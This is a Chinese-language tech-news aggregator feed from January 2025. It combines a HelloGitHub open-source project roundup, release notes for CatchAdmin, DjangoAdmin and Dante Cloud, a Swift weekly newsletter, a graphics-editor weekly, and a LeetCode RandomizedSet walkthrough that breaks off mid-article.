26、Ciphey:自动解密/解码各种加密算法的工具。使用该项目时,你只需输入加密的文本,无需提供具体的加密类型,它就可以在 3 秒或更短的时间内自动识别并解密加密的文本。这个项目支持 50 多种常见的加密/编码方式,包括二进制、base64、哈希和凯撒密码等。

27、python-mini-project:迷你 Python 项目集合。该项目包含了一系列迷你的 Python 小项目,并提供了简单的 Python 项目模板,帮助初学者开发出自己第一个 Python 程序。

28、Windrecorder:你的个人屏幕记忆搜索工具。该项目是专为 Windows 设计的屏幕记录工具,并提供搜索和回放功能。它会持续录制屏幕内容,同时保证数据安全(不上传、不联网),利用 OCR 和图片识别技术,让用户可以轻松搜索和回看屏幕活动历史。

29、music-tag-web:编辑歌曲文件元数据的 Web 应用。这款音乐标签编辑器提供了编辑歌曲标题、专辑、艺术家、歌词、封面等信息的功能。它支持多种音频格式,包括 FLAC、APE、WAV、AIFF、MP3 和 MP4 等。此外,它还提供了自动批量修改和整理音乐文件、歌词翻译、手机端访问等实用功能。

30、pex:相见恨晚的 Python 项目打包工具。这是一个开源的 Python 项目打包工具,专为跨环境部署和无法访问公网的部署场景设计。它能够将 Python 项目及其所有依赖,甚至是 Python 解释器(可选),打包成单个可执行文件(.pex),让开发者无需安装运行环境,即可直接运行 Python 程序,支持 Linux 和 macOS 系统。

Rust 项目

31、genact:假装很忙的摸鱼神器。该项目可以在终端上模拟一些很忙的假象,比如编译、扫描、下载等。这些操作都是假的,实际上什么都没有发生,所以不会影响你的电脑,适用于 Windows、Linux、macOS 操作系统。

32、czkawka:多功能文件清理工具。该项目是用 Rust 编写的,用于查找和清理重复文件、空文件夹以及相似图片等文件。它免费、开源且无广告,具有快速、跨平台和多语言等特点。使用这个工具,可以轻松地清理电脑上的无用文件,释放电脑的存储空间。

33、rust-by-practice:Rust 语言实战。该项目提供了大量的 Rust 实战练习,来帮助 Rust 新手学习和上手 Rust 语言。这里除了有大量的练习题和答案,还支持在线编辑和运行 Rust 代码。

34、gitbutler:新型的 Git 客户端。该项目采用 Tauri/Rust/Svelte 构建,拥有较高的颜值。用户可以将多个分支上的改动,通过拖拽的方式快速地聚合到一个独立分支上,实现灵活地跨分支操作,适用于 Windows、macOS 和 Linux 平台。

35、min-sized-rust:优化 Rust 二进制文件大小的方法。Rust 构建时默认不会优化二进制文件的大小,该项目介绍了如何在保证 Rust 程序功能完整的同时,减少二进制文件体积的工具和技巧,适用于嵌入式和物联网等对程序体积敏感的场景。

人工智能

36、upscayl:免费的 AI 图像放大工具。这是一款通过 AI 算法提高图像分辨率(超级分辨率,简称超分)的桌面工具,它免费、开源、无需联网、开箱即用,因为内置了模型,所以安装包大约 200+MB,运行要求兼容 Vulkan 的显卡,适用于 Windows、Linux 和 macOS 系统。

37、ollama:本地运行各种 LLM 的工具。这是一个用 Go 语言写的工具,用于在本地一条命令安装、启动和管理大型语言模型,支持 Llama 3、Gemma、Mistral 等大模型,适用于 Windows、macOS、Linux 操作系统。

38、Deep-Live-Cam:实时换脸与深度伪造技术。该项目利用 AI 技术实现了视频和图片的实时人脸替换。用户仅需提供一张图片,即可将选定的人脸替换到目标视频或图片上,生成栩栩如生的深度伪造效果。它采用 Python 语言和 ONNX、ffmpeg 等库构建,并通过 CUDA 和 CoreML 实现 GPU 加速,提供了友好的界面,不仅操作简单,还内置了防止不当使用的检查机制,确保生成的内容合法合规。

39、litellm:简化大模型 API 调用的工具。该项目能够将各种 AI 大模型和服务的接口,统一转换成 OpenAI 的格式,简化了在不同 AI 服务/大模型切换和管理的工作。此外,它还支持设置预算、限制请求频率、管理 API Key 和配置 OpenAI 代理服务器等功能。

40、Retrieval-based-Voice-Conversion-WebUI:开箱即用的 AI 变声器。该项目是基于 VITS 的变声框架,仅需少量语音数据和普通的显卡,就能快速训练出高质量的语音转换模型。它提供了简单易用的 Web 和 GUI 界面,支持实时变声、人声和伴奏分离等功能。

书籍/教程

41、PyTorch-Tutorial-2nd:《Pytorch 实用教程》。这本书不仅全面介绍了 PyTorch 的基础知识,还包含丰富的 PyTorch 实战案例和大型语言模型部署实例,能帮你快速上手 PyTorch,并具备出色的开发能力。

42、game-programming-patterns:《游戏编程模式》。该书收集了经过验证、已发布的 3A 级游戏中的经验和模式,来解决你在游戏开发中遇到的问题。

43、LLMBook-zh:《大语言模型》。这是一本为想入门大模型技术的程序员/学生准备的开源书籍,内容不仅涵盖了大模型的基础原理和关键技术,还提供了配套的代码工具库和大模型,帮助读者快速入门并实践。

44、system-design-101:一张图搞懂系统设计。该项目通过通俗易懂的文字和简洁明了的示意图,讲解系统设计的基础知识以及深层的工作原理的入门级教程。无论你是初学者还是准备面试的程序员,在这里都能有所收获。

45、nn-zero-to-hero:从零到神经网络高手。这是一门从基础开始的神经网络课程,包含视频、练习和配套源码,帮助初学者初逐步掌握神经网络的基本概念,并通过实例代码来加深理解。

其它

46、weather_landscape:用有趣的动画显示天气预报。这是一个基于气象数据生成景观图的项目,通过动画形式生动地展现天气,替代了枯燥的气象数值显示。

47、open-and-shut:笔记本盖的新玩法。这是一个通过反复合上和打开笔记本电脑的盖子,输入摩斯电码的工具。

48、RunCat_for_windows:在 Windows 任务栏飞奔的“小猫”。这是一个用 C# 写的小工具,它会在 Windows 任务栏显示一只奔跑的小猫动画,CPU 使用率越高它跑得越快。

49、kando:跨平台的环形状菜单工具。这是一款桌面圆形菜单(Pie menu)工具,可用于启动应用、模拟键盘快捷键、打开文件等,尤其适合与触控笔和触摸屏配合使用,支持 Windows、Linux 和 macOS 等系统。

50、OV-Watch:低成本的开源智能手表。这是一个制作成本仅需 80 元的智能手表项目,它不仅提供了基本的手表功能,还支持睡眠模式、蓝牙、计步、卡包、指南针和心率测量等功能。

三、最后

过去的一年里,HelloGitHub 分享了超过 600 个开源项目,我们始终秉持着分享 GitHub 上有趣、入门级的开源项目的初心,持续探索并与大家分享那些令人惊叹的开源宝藏。同时,HelloGitHub 开源社区新增了 1.5 万用户,大家的支持和加入让社区更加强大!

能看到这里的,都是我们最忠实的支持者,再次感谢你们在过去一年的陪伴,我们一起见证了 HelloGitHub 的成长与进步。

新的一年,就一个目标:让 HelloGitHub 保持初心地活下去!

by HelloGitHub at January 21, 2025 12:45 AM

oschina news project

🎉Laravel + Vue3 前后端分离后端框架 CatchAdmin v3.3.0 发布

介绍

CatchAdmin 是一款基于 Laravel  Element Plus 二次开发而成后台管理系统。Laravel 社区也有许多非常优秀的后台管理系统,例如 Nova, 官方出品,当然是收费的,免费的有基于 Livewire  Filament,还有不得不说的 Laravel AdminCatchAdmin 还是采用传统的前后端分离策略,Laravel 框架仅仅作为 Api 输出。将管理系统模块之间的耦合降到了最低限度。每个模块之间都有独立的控制器,路由,模型,数据表。在开发上尽可能将模块之间的影响降到最低,降低了开发上的难度。基于 CatchAdmin  可以开发 CMSCRMOA 等 等系统。也封装了很多实用的工具,提升开发体验。

V3.3.0 日志

  • 添加软连接配置
  • 新增自定义响应了类
  • 添加模型分页属性
  • 支持已有表生成代码
  • 修复安装提示
  • 默认安装权限模块
  • thinkphp 8.0 版本 修复创建人字段未自动填充
  •  thinkphp 8.0 版本 修复前端列表生成错误
  • webman 版本仓库 修复密码 hash 错误
  • 更多....

视频

 catchadmin 模块创建

catchadmin 之快速开发

功能

  •  用户管理 后台用户管理
  •  部门管理 配置公司的部门结构,支持树形结构
  •  岗位管理 配置后台用户的职务
  •  菜单管理 配置系统菜单,按钮等等
  •  角色管理 配置用户担当的角色,分配权限
  •  操作日志 后台用户操作记录
  •  登录日志 后台系统用户的登录记录
  •  代码生成 生成 API 端的 CURD 操作
  •  Schema 管理 生成表结构
  •  模块管理 系统模块管理

额外模块

项目地址

预览

体验地址

demo 地址

  • 账户: catch@admin.com
  • 密码: catchadmin

感谢🙏

排名不分先后

by 来源: 投稿 at January 21, 2025 12:45 AM

juejin ios

周报进展与博客调整 | 肘子的 Swift 周报 #067

issue67.webp

欢迎访问 weekly.fatbobman.com 订阅本周报的电子邮件版本。也欢迎访问我的博客 肘子的 Swift 记事本 查看更多的文章。

肘子的话

周报进展与博客调整

在上期周报发布的当晚,邮件订阅量突破了 3000。结合其他发布渠道,每期周报在发布当周至少覆盖 6000 名以上的读者。虽然这一成绩谈不上多么卓越,但已远远超出了我创办之初的预期。

周报能够获得如此多读者的喜爱,最重要的原因在于社区中不断涌现的优质内容。过去一年中,虽然一些优秀的作者因种种原因减少了分享,但每个月都会有新的作者带来高质量的文章。在大多数情况下,我甚至会因为精彩文章过多而纠结于取舍,这种“幸福的烦恼”让我倍感欣慰。

当然,读者的支持也是周报持续发展的重要动力。无论是收到读者的正向反馈,还是看到一些作者的文章因周报推荐而获得更多阅读量,都让我感受到这份工作的意义和价值。

上周,我对博客架构进行了重要调整,将其从传统的云主机 + CDN 模式迁移到 Serverless。此举极大地简化了博客的部署流程和耗时,因此我也趁机优化了一部分代码。在此期间,由于 DNS 刷新的延迟问题,部分读者可能遇到页面无法访问的情况。以下是几种可能的解决办法:

  • 清空浏览器的缓存,特别是与博客相关的部分;
  • 将设备的 DNS 设置为更知名的解析服务商,以加快 DNS 刷新;
  • 访问博客的备份站点:fatbobman.github.io

此外,我在博客中新增了一个“小贴士”板块,用于分享内容简短、主题明确的文章。这类文章聚焦于快速解决实际问题,不涉及原理和讨论,方便读者以最快的方式找到答案。

感谢每一位读者的支持和反馈,期待未来能和大家一同见证更多精彩内容的诞生!

前一期内容全部周报列表

原创
近期推荐

🪜 SwiftUI 高级导航 (Advanced Navigation Destinations in SwiftUI)

SwiftUI 自引入 NavigationStack 后,显著提升了导航的灵活性。然而,NavigationPathnavigationDestination 的原生实现在实际使用中仍显局限,尤其是每个导航目标都需单独定义处理器,容易导致代码重复和维护困难。为了解决这些问题,Michael Long 开发了开源库 Navigator,为 SwiftUI 提供了一套功能更加强大的导航层,支持声明式与命令式导航的无缝切换。在这篇文章中,Long 深入探讨了原生导航方式的不足,以及 Navigator 如何通过枚举导航目标、协调模式和导航检查点等特性改进开发体验,为复杂的应用导航需求提供了优雅的解决方案。

在 iOS 应用中获取 Git 修订信息 (Getting Git Revision info within your iOS App)

在项目快速迭代的过程中,当开发者收到测试员或用户的反馈时,往往难以及时定位问题所在的分支或版本。Rich Infante 分享了一个简单且高效的方法:通过构建脚本,将当前代码库的 Git 提交哈希值、分支名称等信息嵌入到应用中,帮助开发者在调试和发布版本时快速追溯源代码的状态。

🪜 SwiftUI 文本动画 Bug 的发现与解决 (Uncovering and Solving a SwiftUI Text Animation Bug)

SwiftUI 因其简洁易用的动画功能而广受开发者喜爱,但有时,即使我们精心调整,视图也未必能按预期实现动画效果。在这篇文章中,Omar Elsayed 分享了他在项目中遇到的一个问题:Text 视图的 offset 动画无法正常工作。通过参考开发者 kurtlee93 提出的解决方案,作者利用 GeometryEffectAnimatableData 成功解决了这一问题。

遇到动画失效的问题时,开发者常用 AnimatableData 为视图显式提供动画插值,经常能达到预期效果。不过,我们仍然期待苹果尽快修复这些长期存在的 bug。

Xcode 16 的新特性如何帮助我的项目减少 66,000 行代码 (How a New Xcode 16 Feature Helped My Work Project Eliminate 66,000 Lines of Code)

Xcode 16 引入了可构建文件夹(buildable folders)特性,通过文件系统直接管理文件,取代了对 pbxproj 文件中复杂引用的依赖。在这篇文章中,Makwan Barzan 分享了他们团队如何通过细致而卓有成效的努力,成功减少了旧项目 pbxproj 文件中的 66,000 行冗余引用。采用文件夹组织结构不仅降低了合并冲突风险,也显著提升了项目管理效率。

🪜 使用 Swift Vapor 构建天气 API 后端 (Building a Weather API Backend with Swift Vapor: A Deep Dive)

我想很多 Swift 开发者在构建后端服务时或多或少都会想过尝试一下 Vapor。Arrinal 使用 SwiftUI 和 Vapor 构建了一个开源的天气服务项目。通过两篇文章,他系统地介绍了如何运用 Clean Architecture 的思想构建一个可维护、易扩展的 SwiftUI 应用,并用 Vapor 提供支持其功能的后端服务。在前端部分,他展示了如何通过依赖注入(Swinject)和 Combine 实现响应式数据流,同时保持架构清晰分层;在后端部分,他采用 Vapor 的现代特性(如 async/await 和中间件)构建了一个高性能、标准化的 API 服务,与 SwiftUI 应用无缝集成。

SwiftUI List:使用代码示例详解数据行展示 (SwiftUI Lists: Present Rows of Data Explained with Code Examples)

List 是 SwiftUI 中一个核心组件,不仅能够高效展示数据行,还提供了多种预置的样式以适应不同的 UI 需求。然而,对于每种风格的特点和适用场景,许多开发者可能并不熟悉。Antoine van der Lee 在这篇文章中,通过一系列直观的代码示例,系统地介绍了 SwiftUI List 的基本功能、不同风格的应用,以及如何实现分组、选择、多样式背景等功能。这篇文章为开发者全面掌握 List 的使用提供了一份清晰且实用的指南。

活动

LET'S VISION 2025 创作者大会火热开票,席位有限,速来抢购!

LET'S VISION 是中国最大、最具国际化的 Apple 生态盛会,被誉为 Apple 生态中的“超级盛典”,犹如 Apple 世界的 TGS、E3 或 ChinaJoy!本届大会将带领你走在 Apple 生态的最前沿,展示最创新、最尖端的产品与技术。无论你是开发者、创业者,还是行业精英,这将是你不可错过的年度盛会!

  • 📅 大会日期:2025年3月1日-3月2日
  • 📍 举办地点:上海鲜花港
  • 🎯 本届主题:人工智能 + 空间计算 = 无限♾️

在一个专为本次大会定制的 10000 平方米户外场地上,我们将为你呈现震撼的活动体验。大会现场不仅有能容纳超过 1000 人的主会场,还有 100+ 展位展示最前沿的技术和创新产品。今年,我们还特别设计了“极客相亲角”环节,为创业者提供与 VC 投资人、合作伙伴、行业领袖面对面交流的机会,帮助你拓展资源、结识合适的合作伙伴和人才。

🚀 特别嘉宾阵容: 今年我们邀请了全球顶尖行业专家和苹果官方团队亮相—— Apple 官方设计布道师 Sara, Hacking With Swift 创始人 Paul, Apple Design Award 2024 获奖者、Blackbox 创始人 Ryan, App Store Award 2024 获奖者、THRASHER 创始人 Mike, 以及更多重量级嘉宾。

🎤 丰富的活动内容:

  • 30场演讲,洞察未来科技发展趋势
  • 7个工作坊,与专家零距离互动,深度学习
  • 100个应用展示,探索最前沿的创新作品

这不仅是一个技术交流的平台,也是全球 Apple 生态中的创新者、领袖、投资者齐聚的舞台!你将亲身体验到最前沿的人工智能与空间计算技术,并与行业领袖们共同探讨未来科技的无限可能。

⏳ 仅开放 1000个名额,一旦售完将不再补充!快来抢票,和我们一起见证未来科技的巅峰时刻!

往期内容

THANK YOU

如果你觉得这份周报或者我的文章对你有所帮助,欢迎 点赞 并将其 转发 给更多的朋友。

欢迎访问 weekly.fatbobman.com 订阅本周报的电子邮件版本。也欢迎访问我的博客 肘子的 Swift 记事本 查看更多的文章。

by 东坡肘子 at January 21, 2025 12:35 AM

January 20, 2025

oschina news project

DjangoAdmin 敏捷开发框架 Django+EleVue 版本 v2.4.0 发布

v2.4.0 更新内容:
1、新增支持原生 SQL 语句查询;
2、新增验证码大小写校验规则;
3、修复近期用户反馈的问题;

项目介绍

一款 Python 语言基于 Django、Vue、ElementUI、MySQL 等框架精心打造的一款模块化、高性能、企业级的敏捷开发框架,本着简化开发、提升开发效率的初衷触发,框架自研了一套个性化的组件,实现了可插拔的组件式开发方式:单图上传、多图上传、下拉选择、开关按钮、单选按钮、多选按钮等等一系列个性化、轻量级的组件,是一款真正意义上实现低代码开发的敏捷开发框架。

内置模块

  • 用户管理:用于维护管理系统的用户,常规信息的维护与账号设置。
  • 角色管理:角色菜单管理与权限分配、设置角色所拥有的菜单权限。
  • 菜单管理:配置系统菜单,操作权限,按钮权限标识等。
  • 职级管理:主要管理用户的职级。
  • 岗位管理:主要管理用户担任职务。
  • 部门管理:配置系统组织机构,树结构展现支持数据权限。
  • 字典管理:对系统中常用的较为固定的数据进行统一维护。
  • 配置管理:对系统的常规配置信息进行维护,网站配置管理功能进行统一维护。
  • 通知公告:系统通知公告信息发布维护。

软件信息

账号 密码 操作权限
admin 123456 演示环境无法进行修改删除操作

版本说明

版本名称 版本说明 版本地址
Django+Layui 混编版 采用 Django、Layui 等框架研发 https://gitee.com/djangoadmin/DjangoAdmin_Django_Layui
Flask+Layui 混编版 采用 Flask、Layui 等框架研发 https://gitee.com/djangoadmin/DjangoAdmin_Flask_Layui
Tornado+Layui 混编版 采用 Tornado、Layui 等框架研发 https://gitee.com/djangoadmin/DjangoAdmin_Tornado_Layui
Django+EleVue 前后端分离版 采用 Django、Vue2.x、ElementUI 等框架研发前后端分离版本 https://gitee.com/djangoadmin/DjangoAdmin_Django_EleVue
Flask+EleVue 前后端分离版 采用 Flask、Vue2.x、ElementUI 等框架研发前后端分离版本 https://gitee.com/djangoadmin/DjangoAdmin_Flask_EleVue
Tornado+EleVue 前后端分离版 采用 Tornado、Vue2.x、ElementUI 等框架研发前后端分离版本 https://gitee.com/djangoadmin/DjangoAdmin_Tornado_EleVue
Django+AntdVue 前后端分离版 采用 Django、Vue3.x、AntDesign 等框架研发前后端分离版本 https://gitee.com/djangoadmin/DjangoAdmin_Django_AntdVue
Flask+AntdVue 前后端分离版 采用 Flask、Vue3.x、AntDesign 等框架研发前后端分离版本 https://gitee.com/djangoadmin/DjangoAdmin_Flask_AntdVue
Tornado+AntdVue 前后端分离版 采用 Tornado、Vue、AntDesign 等框架研发前后端分离版本 https://gitee.com/djangoadmin/DjangoAdmin_Tornado_AntdVue

模块展示

by 来源: 投稿 at January 20, 2025 11:11 PM

Dante Cloud 3.4.1.2 发布,企业版一大波新特性来袭

[一] 项目简介

Dante Cloud 国内首个支持阻塞式和响应式服务并行的微服务平台。是采用领域驱动模型(DDD)设计思想,以「高质量代码、低安全漏洞」为核心,基于 Spring 生态全域开源技术,高度模块化和组件化设计,支持智能电视、IoT等物联网设备认证,满足国家三级等保要求,支持接口国密数字信封加解密等一系列安全体系的多租户微服务解决方案。可以“一套代码实现微服务和单体两种架构”的企业级应用系统。

[二] 项目理念

Dante Cloud 一直秉承着“简洁、高效、包容、务实”的理念,使用微服务领域及周边相关的各类新兴技术或主流技术进行建设,不断地深耕细作、去粗取精、用心打造。目标是构建一款代码质量高、维护投入低、安全防护强的,可以帮助用户快速跨越架构技术选型、技术研究探索阶段,降低传统项目中因安全漏洞、技术负债、低质代码等潜在隐患所产生的高维护投入,期望像项目名字寓意一样,在行业变革的时期承上启下,助力企业信息化建设和变革的产品。

Dante Cloud 核心关注点是:「高质量的系统代码」「合理的系统架构」「低耦合的模块划分」「高安全性系统实现」「灵活的功能扩展能力」「优质的微服务实现」,而不是追求 业务功能丰富 性。

[三] 更新内容

  • 主要更新
    • [升级] Spring Boot 版本升级至 3.4.1
    • [升级] Spring Authorization Server 版本升级至 1.4.1
    • [新增] Spring Authorization Server 核心数据存储新增 NoSQL 存储支持。可根据需求以通过修改配置方式,动态变更 JPA、Redis 和 MongoDB 三者不同的存储介质作为 Spring Authorization Server 核数据的存储介质。
    • [新增] 新增系统应用合规和接口审计数据时序化存储支持,支持与默认 JPA 数据存储介质通过配置切换新特性。提升系统审计类数据存储和性能,提升系统功能扩展性。
    • [新增] 新增证书管理模块。无需 Keytool 和 Openssl,可在线生成根证书、CA 证书以及自签名证书。支持 Servlet 和 Reactive 环境动态可拔插。
    • [新增] 新增 Reactive 环境下 Indexed 模式的 Spring Session 的配置。
    • [新增] 新增 Rest 接口审计功能,可以通过配置开启。为减少不必要的性能损耗,默认为关闭状态。
    • [新增] 前端新增 VConsole 开发调试工具。可以像小程序一样调试前端页面。
    • [新增] 前端新增生产环境保护机制。生产环境前端会禁用 F12 以及右键菜单禁用。
    • [重构] 使用 Spring Boot 标准的方式和标准的信息输出结构,重构自定义条件注解,以简化相关条件注解数量以及条件类定义。
  • 其它更新
    • [新增] 新增内部服务间从文件服务删除文件支持。支持 Openfeign 和 GRPC 两种模式。
    • [新增] 服务间文件传输默认实现,并改为在 core-autoconfigure 模块自动配置,解决其它模块引用不方便问题
    • [新增] 系统管理模块相关数据初始化脚本
    • [新增] 新增 Cassandra NoSQL 存储支持以及相关开发通用代码模块
    • [修复] 修复权限表达式列表与最新版本 Spring Security 不一致问题。
    • [修复] 修复 Spring Data MongoDB 开启审计注解冲突导致 BPMN 服务启动错误问题
    • [修复] 修复 Spring Data Cassandra 在非使用的环境下,自动注入相关配置,导致启动出错问题
    • [修复] 改变 SAS 核心数据使用非结构化存储开启自动初始化条件实现机制。修复条件注解生效机制错误
    • [修复] 修复前端升级依赖版本后,编译组件库失败问题。
    • [重构] 删除为后续开发预留的、无用的代码模块
    • [重构] 使用 Java 8 Lambda 代码简化原有复杂代码逻辑
    • [重构] 将部分 SAS 自定义页面代码,迁移至 REST 模块中,减少和删除不必要的类型重复模块依赖。
    • [重构] 统一 CRUD 基础类命名规则,Repository 和核心实体统一以 Base 开头,抽象基础类命名全部改为以 Abstract 开头
    • [重构] 重构前端基础类型定义名称,与后端新版本代码保持一致。
    • [重构] 重构基于 JPA 的 CRUD 基础类,补充新版本支持的新方法。
    • [修复] 修复自定义生成服务 Archetype 配置文件与当前版本不一致问题。
    • [修复] 修复现有 OSS 模块文件传输默认配置与新增系统默认文件传输配置冲突问题。
    • [修复] 修复响应式服务不支持 Indexed 模式 Session,导致 与阻塞式服务 Session 不统一问题。
    • [修复] 修复 WebSocket 多实例配置仅能支持 Servlet 环境,以及配置属性不合理问题。
    • [修复] 修复开启 Rest 接口审计配置不生效问题
    • [修复] 修复单体版开启和关闭 Swagger 不生效问题。
    • [修复] 修复 Spring Authorization Server 核心数据 AccessTokenType 未保存问题。
    • [修复] 修复前端 package.json 配置未更新导致在最新 Vite 版本下编译组件会打印告警信息问题。
    • [修复] 修复响应式服务权限校验逻辑异常抛错问题。
    • [修复] 修复使用 Jackson @JsonFormat 注解序列化时间差8小时问题。
    • [修复] 修复数据库初始化脚本,去除无用的菜单数据。
    • [修复] 修复缺失 Spring Authorization Server TLS 相关控制属性问题
    • [修复] 修复登录失败超出指定次数账号自动锁定条件注解不生效问题。
    • [修复] 修复前端工程升级至 Vite6 后编译出错问题
    • [修复] 修复前端使用新版 Vite 编译后样式引入错误,提示需要安装模块问题。
    • [修复] 修复新版读取 Token 逻辑判断错误,导致无法正确读取 Token 问题。
    • [修复] 修复数据库初始化脚本错误
    • [重构] 适配 Hutool 6.X 最新版本
    • [重构] 重构前端 Typescript 定义,适配最新版后端功能定义
    • [重构] data-module-jpa 模块名称修改为 data-module-tenant,更加明晰代码用途和模块定位。
    • [重构] 拆分数据基础模块以及相关联模块,以支持后续多中数据源切换。
    • [重构] 基础 Jpa findById 方法,重构为返回 Spring Data 标准的 Optional 类型对象。
    • [重构] 重构数据库审计核心代码逻辑,去除原有多重判断繁琐实现。
    • [重构] 调整 Conditional 判断实现类访问权限,避免不必要的引用。
    • [重构] 提取以枚举作为配置属性的条件注解的通用抽象方法,方便和简化枚举值类型条件注解的编写。
    • [重构] 系统核心类 RequestMapping 重名为 RestMapping,以减少与 Spring 核心注解 @RequestMapping 不必要的冲突
    • [重构] 重构用户登录审计功能相关存储信息,减少不必要的字段,以综合性的字段显示信息。
    • [优化] 优化响应式 Opaque Token Introspector 实现定义,使用最新代码替换已经被标记为过时的方法
    • [优化] 改用 Spring Authorization Server 新版本标准方式优化自定义扩展授权码模式 Provider
    • [优化] 优化部分条件注解的检测逻辑,尽可能使用 Spring Boot 标准方式,减少额外的扩展定义类。
    • [优化] 删除无用的 ComponentScan 包扫描配置
    • [优化] 采用 JDK 17 新语法优化 Spring Authorization Server 核心服务代码
    • [优化] 扩展 Spring Authorization Server 核心数据 Jackson2 处理类,支持额外添加 Jackson Module 和 Mixin 以适配不同类型数据源。
    • [安全] 修复安全漏洞 CVE-2024-47535
    • [安全] 修复安全漏洞 CVE-2024-12798
    • [升级] loki docker 镜像版本升级至 3.3.2
    • [升级] promtail docker 镜像版本升级至 3.3.2
    • [升级] cassandra docker 镜像版本升级至 5.0.2
    • [升级] emqx docker 镜像版本升级至 5.8.4
    • [升级] influxdb docker 镜像版本升级至 2.7.11
    • [升级] zipkin 镜像版本升级至 3.4.3
    • [升级] grafana 镜像版本升级至 11.4.0
    • [升级] tdengine 镜像版本升级至 3.3.4.8
    • [升级] minio docker 镜像版本升级至 RELEASE.2025-01-18T00-31-37Z
  • 依赖更新
    • [升级] bcpkix-jdk18on 版本升级至 1.80
    • [升级] bcprov-jdk18on 版本升级至 1.80
    • [升级] central-publishing-maven-plugin 版本升级至 0.7.0
    • [升级] fastjson2 版本升级至 2.0.54
    • [升级] grpc 版本升级至 1.69.1
    • [升级] json-schema-validator 版本升级至 1.5.5
    • [升级] mybatis 版本升级至 3.5.19
    • [升级] mybatis-plus 版本升级至 3.5.10.1
    • [升级] redisson 版本升级至 3.43.0
    • [升级] software.amazon.awssdk 版本升级至 2.30.2
    • [升级] software.amazon.awssdk.crt 版本升级至 0.33.9
    • [升级] springdoc 版本升级至 2.8.3
    • [升级] sqlite-jdbc 版本升级至 3.48.0.0
    • [升级] json 版本升级至 20250107
    • [升级] okio 版本升级至 3.10.2
    • [升级] logback 版本升级至 1.5.16
    • [升级] weixin-java 版本升级至 4.7.1.B
    • [升级] quasar webjars 版本升级至 2.17.7
    • [升级] hutool 版本升级至 6.0.0-M19
    • [升级] loki-logback-appender 版本升级至 1.6.0
    • [升级] hutool 5.X 版本升级至 5.8.35
    • [升级] checker-qual 版本升级至 3.48.4
    • [升级] sweetalert2 webjars 版本升级至 11.15.10
    • [升级] guava 版本升级至 33.4.0
    • [升级] lettuce 版本升级至 6.5.1.RELEASE
    • [升级] logback 版本升级至 1.5.15
    • [升级] aliyun-java-sdk-core 版本升级至 4.7.3
    • [升级] commons-text 版本升级至 1.13.0
    • [升级] justauth 版本升级至 1.16.7

[四] 系统文档

为了更好的帮助大家理解学习 Dante Cloud,新增文档站点 https://www.herodotus.vip 。 该站点目前包含矫正和重新梳理后的系统部署相关内容,已根据系统涉及的详细知识点和模块补充大量设计实现和认知理解相关文章。


如果本项目对你有所帮助,欢迎 Star 一波来支持我们!

Giteehttps://gitee.com/dromara/dante-cloud

Githubhttps://github.com/dromara/dante-cloud

by 来源: 投稿 at January 20, 2025 04:25 PM

juejin freebie

图形编辑器开发周刊#1:将figma导出的fig文件转换leaferjs图形

大家好,我是前端西瓜哥。

最近尝试做一下周刊,把自己收集的一些觉得比较有意思的图形编辑器相关的文章、工具、资讯等进行推荐,希望对你有所帮助。

读者可以收藏这个网页:

blog.fstars.wang/graphics-ed…

fig 文件转 leaferjs 图形工具

fig to leafer 可以解析 fig 文件,转换为 leaferjs 的图形树,然后渲染。

这个应该是用 fig-file-parser 拿到 JSON 数据后进行的转换,对 leaferjs 的特性支持有不少挑战。

整体看效果还可以,不过也有些问题,比如不支持投影,一个画布上渲染太多图形会卡顿。

一个无限画布教程

一本开源的无尽画布小册。

该小册介绍了如何一步一步构建无限画布的应用(像是 figma、excaildraw 这种)。

小册涉及到底层渲染技术,比如 SDF 渲染矩形和圆,还有上层的架构,比如事件系统、网格等。

SVG Viewer

SVG Viewer 是一款很好用的 Web 端 svg 查看器,我在开发图形编辑器时经常用到。

hover 到对应的 svg 标签上,对应的图形还会高亮。

SVG Path Editor

一个针对 SVG 的 Path 元素的查看器,支持通过输入框对路径进行简单编辑。

同样 hover 可以高亮 path 对应的线段。

Mermaid

一个受 Markdown 启发的开源 JavaScript 图表库。

通过提供类似 Markdown 文本的方式,渲染各种图表,比如流程图、时序图、思维导图。

Lil' Pixel Icon

一款免费的绘制像素画的 figma 插件,只能画 16 x 16 的像素画。

UI 看着不错,基本功能挺丰富,还有镜像对称绘制功能。

绘制太多的时候有点卡,因为要实时给 figma 添加修改矩形方块,绘制简单像素画可以用用。

给 Obsidian 发消息

一个通过微信给 Obsidian 发消息的工具。

原理是服务端保存微信发送的数据,然后本地打开 Obsidian 时会拉取同步。感觉有些微妙。

有免费版,每天只能发 10 条,付费版没有限制,1 年 39.99 元。

Aseprite

Aseprite 是一款功能强大的专业像素画软件,并支持像素画动画,使用 C++ 编写。

代码是开源的,个人用户可以自己编译打包使用,但作品不能商用,

也可以 Steam 上购买,可以商用,国区价格是 70,历低是 33。我好久前买过玩了会,后面没用了。

结尾

下期见。

by 前端西瓜哥 at January 20, 2025 03:23 PM

juejin career

小哆啦解题记:实现一个名为 `RandomizedSet` 的类

小哆啦开始力扣每日一题的第十一天

leetcode.cn/problems/in…

《小哆啦解题记:实现一个名为 RandomizedSet 的类》

在编程王国里,有一位名叫小哆啦的年轻程序员。一天,他接到了一项挑战:实现一个名为 RandomizedSet 的类,这个类需要支持以下操作:

  1. insert(val) :如果元素 val 不在集合中,向集合中插入该元素并返回 true,否则返回 false
  2. remove(val) :如果元素 val 在集合中,删除该元素并返回 true,否则返回 false
  3. getRandom() :随机返回集合中的一个元素。

但是,还有一个额外的要求:每个操作的平均时间复杂度必须是 O(1)。

第一个尝试:O(n) 的方法

小哆啦开始思考,最直观的方法就是使用一个 数组 来存储所有的元素,然后实现相应的操作。

  • 对于 insert,我们只需要将元素添加到数组末尾,并判断该元素是否已经存在,这个操作的时间复杂度是 O(n)。
  • 对于 remove,如果我们直接遍历数组找到元素并删除它,时间复杂度也是 O(n)。
  • 对于 getRandom,从数组中随机取一个元素可以在 O(1) 时间内完成。

小哆啦写下了以下代码:

class RandomizedSet {
    private values: number[];

    constructor() {
        this.values = [];
    }

    insert(val: number): boolean {
        if (this.values.includes(val)) {
            return false;  // 如果元素已存在,返回 false
        }
        this.values.push(val);
        return true;
    }

    remove(val: number): boolean {
        const index = this.values.indexOf(val);
        if (index === -1) {
            return false;  // 如果元素不存在,返回 false
        }
        this.values.splice(index, 1);  // 删除指定元素
        return true;
    }

    getRandom(): number {
        const randomIndex = Math.floor(Math.random() * this.values.length);
        return this.values[randomIndex];
    }
}

调试与分析

